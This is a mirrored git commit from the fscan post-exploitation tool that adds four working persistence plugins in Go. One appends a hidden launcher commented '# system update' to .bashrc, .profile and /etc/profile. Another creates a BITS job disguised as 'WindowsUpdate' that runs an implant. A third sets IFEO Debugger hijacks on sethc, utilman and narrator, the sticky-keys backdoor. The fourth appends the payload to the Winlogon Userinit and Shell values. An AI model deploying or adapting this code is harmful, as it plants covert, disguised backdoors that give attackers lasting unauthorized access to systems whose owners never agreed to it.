archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-22 03:10:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: 新增 4 种持久化插件

Browse Source 
- winifeo: IFEO 映像劫持 (sethc/utilman/narrator)
- winbits: BITS 后台任务持久化，通过 GUID 操作避免同名冲突
- winlogon: Winlogon Userinit/Shell 追加
- bashrc: Linux bashrc/profile 注入
This commit is contained in:
ZacharyZcR
2026-05-15 23:48:30 +08:00
parent 1ebcd6dc79
commit a42f074b00
6 changed files with 387 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
common/i18n/locales/en.yaml
+16
View File
@@ -591,6 +591,22 @@ forwardshell_client_connected:
forwardshell_read_failed:
other: "Failed to read client command: {{.Arg1}}"
# IFEO image hijacking
winifeo_success:
other: "IFEO image hijacking completed: {{.Arg1}} targets"
# BITS persistence
winbits_success:
other: "BITS persistence completed: {{.Arg1}}"
# Winlogon persistence
winlogon_success:
other: "Winlogon persistence completed: {{.Arg1}} entries"
# Bashrc injection
bashrc_success:
other: "Bashrc injection completed: {{.Arg1}} files"
# Windows startup folder
winstartup_success:
other: "Windows startup folder persistence completed: {{.Arg1}} methods"
common/i18n/locales/zh.yaml
+16
View File
@@ -590,6 +590,22 @@ forwardshell_client_connected:
forwardshell_read_failed:
other: "读取客户端命令失败: {{.Arg1}}"
# IFEO映像劫持
winifeo_success:
other: "IFEO映像劫持完成: {{.Arg1}}个目标"
# BITS持久化
winbits_success:
other: "BITS持久化完成: {{.Arg1}}"
# Winlogon持久化
winlogon_success:
other: "Winlogon持久化完成: {{.Arg1}}个项目"
# Bashrc注入
bashrc_success:
other: "Bashrc注入完成: {{.Arg1}}个文件"
# Windows启动文件夹
winstartup_success:
other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法"
plugins/local/bashrc.go
+105
View File
@@ -0,0 +1,105 @@
//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/user"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type BashRCPlugin struct {
plugins.BasePlugin
}
func NewBashRCPlugin() *BashRCPlugin {
return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")}
}
func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.PersistenceTargetFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件，使用 -persistence-file 参数")}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)}
}
absPath, _ := filepath.Abs(pePath)
payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath)
targets := []struct {
path string
desc string
}{
{filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"},
{filepath.Join(homeDir(), ".profile"), "~/.profile"},
}
if os.Getuid() == 0 {
targets = append(targets,
struct{ path, desc string }{"/etc/profile", "/etc/profile"},
struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"},
)
}
var output strings.Builder
var successCount int
for _, t := range targets {
if _, err := os.Stat(t.path); err != nil {
continue
}
data, err := os.ReadFile(t.path)
if err != nil {
continue
}
if strings.Contains(string(data), absPath) {
output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc))
continue
}
f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
continue
}
_, err = f.WriteString(payload)
f.Close()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc))
successCount++
}
if successCount > 0 {
common.LogSuccess(i18n.Tr("bashrc_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func homeDir() string {
if u, err := user.Current(); err == nil {
return u.HomeDir
}
return os.Getenv("HOME")
}
func init() {
RegisterLocalPlugin("bashrc", func() Plugin {
return NewBashRCPlugin()
})
}
plugins/local/winbits.go
+99
View File
@@ -0,0 +1,99 @@
//go:build (plugin_winbits || !plugin_selective) && windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type WinBITSPlugin struct {
plugins.BasePlugin
}
func NewWinBITSPlugin() *WinBITSPlugin {
return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")}
}
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
}
absPath, _ := filepath.Abs(pePath)
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
jobName := fmt.Sprintf("WindowsUpdate_%s", baseName)
var output strings.Builder
// 创建任务并提取 GUID
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out))))
return &plugins.Result{Success: false, Output: output.String()}
}
guid := ""
for _, line := range strings.Split(string(out), "\n") {
if idx := strings.Index(line, "{"); idx != -1 {
if end := strings.Index(line[idx:], "}"); end != -1 {
guid = line[idx : idx+end+1]
break
}
}
}
if guid == "" {
output.WriteString("[失败] 无法提取任务 GUID\n")
return &plugins.Result{Success: false, Output: output.String()}
}
output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid))
steps := []struct {
desc string
args []string
}{
{"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{"设置重试", []string{"/SetMinRetryDelay", guid, "60"}},
{"恢复任务", []string{"/resume", guid}},
}
successCount := 1
for _, step := range steps {
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out))))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc))
successCount++
}
if successCount >= 3 {
common.LogSuccess(i18n.Tr("winbits_success", jobName))
}
return &plugins.Result{
Success: successCount >= 3,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func init() {
RegisterLocalPlugin("winbits", func() Plugin {
return NewWinBITSPlugin()
})
}
plugins/local/winifeo.go
+76
View File
@@ -0,0 +1,76 @@
//go:build (plugin_winifeo || !plugin_selective) && windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type WinIFEOPlugin struct {
plugins.BasePlugin
}
func NewWinIFEOPlugin() *WinIFEOPlugin {
return &WinIFEOPlugin{BasePlugin: plugins.NewBasePlugin("winifeo")}
}
func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
}
absPath, _ := filepath.Abs(pePath)
// 劫持目标：不常用但系统存在的程序
targets := []struct {
exe string
desc string
}{
{"sethc.exe", "粘滞键 (Shift×5)"},
{"utilman.exe", "辅助功能 (Win+U)"},
{"narrator.exe", "讲述人"},
}
var output strings.Builder
var successCount int
for _, t := range targets {
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe)
out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out))))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe))
successCount++
}
if successCount > 0 {
common.LogSuccess(i18n.Tr("winifeo_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func init() {
RegisterLocalPlugin("winifeo", func() Plugin {
return NewWinIFEOPlugin()
})
}
plugins/local/winlogon.go
+75
View File
@@ -0,0 +1,75 @@
//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type WinLogonPlugin struct {
plugins.BasePlugin
}
func NewWinLogonPlugin() *WinLogonPlugin {
return &WinLogonPlugin{BasePlugin: plugins.NewBasePlugin("winlogon")}
}
func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件，使用 -win-pe 参数")}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)}
}
absPath, _ := filepath.Abs(pePath)
key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
entries := []struct {
name string
value string
desc string
}{
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"},
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"},
}
var output strings.Builder
var successCount int
for _, e := range entries {
out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc))
successCount++
}
if successCount > 0 {
common.LogSuccess(i18n.Tr("winlogon_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func init() {
RegisterLocalPlugin("winlogon", func() Plugin {
return NewWinLogonPlugin()
})
}